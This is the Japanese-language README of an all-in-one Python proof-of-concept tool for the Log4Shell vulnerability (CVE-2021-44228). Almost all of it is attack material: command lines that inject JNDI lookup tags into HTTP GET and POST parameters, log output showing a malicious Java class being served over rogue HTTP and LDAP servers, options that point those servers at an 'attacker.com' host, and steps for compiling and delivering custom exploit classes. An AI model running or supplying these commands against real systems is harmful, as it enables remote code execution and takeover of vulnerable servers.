
CVE-2021-44228向けオールインワンピュアPython PoC
CVE-2021-44228 に対する、純粋な Python3 によるオールインワン PoCです。
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
これは CLI ツールです。すべてのオプションはヘルプメニューにあります:
python3 log4rce.py --help
リストはかなり広範囲にわたるため、以下に機能の概要を示します。
このツールではいくつかの攻撃モードを使用できます。これらの攻撃は Log4RCE クラスの拡張です。
対象の URL に対して自動化された HTTP リクエスト攻撃を実行できます。
GET リクエストは次のように実行できます:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
POST リクエストは次のように実行できます:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
上記は ### に JNDI タグを注入します。
上記のいずれも使用できない場合は、このモードを使用して JDNI タグをダンプします:
python3 log4rce.py manual
このツールでは、ほとんどのネットワーク設定を広範囲にカスタマイズできます。すべての内部サーバーは、リモート設定に応じて異なる場所を指すように変更できます。
以下のパラメータを使用して HTTP サーバーを設定できます:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
以下のパラメータを使用して LDAP サーバーを設定できます:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
このツールはいくつかのカスタマイズを処理できます。以下に、興味のある機能をいくつか示します。
次のように Java クラスにペイロードを注入できます:
python3 log4rce.py --payload "PAYLOAD"
ペイロードは "###" 文字列に注入されます。
次の方法で独自の Java クラスを構築できます。
javac -source 1.7 -target 1.7 /path/to/Exploit.java
結果の .class は次のように実行できます:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
注意: ペイロード注入を可能にするために文字列 "###" を追加できます。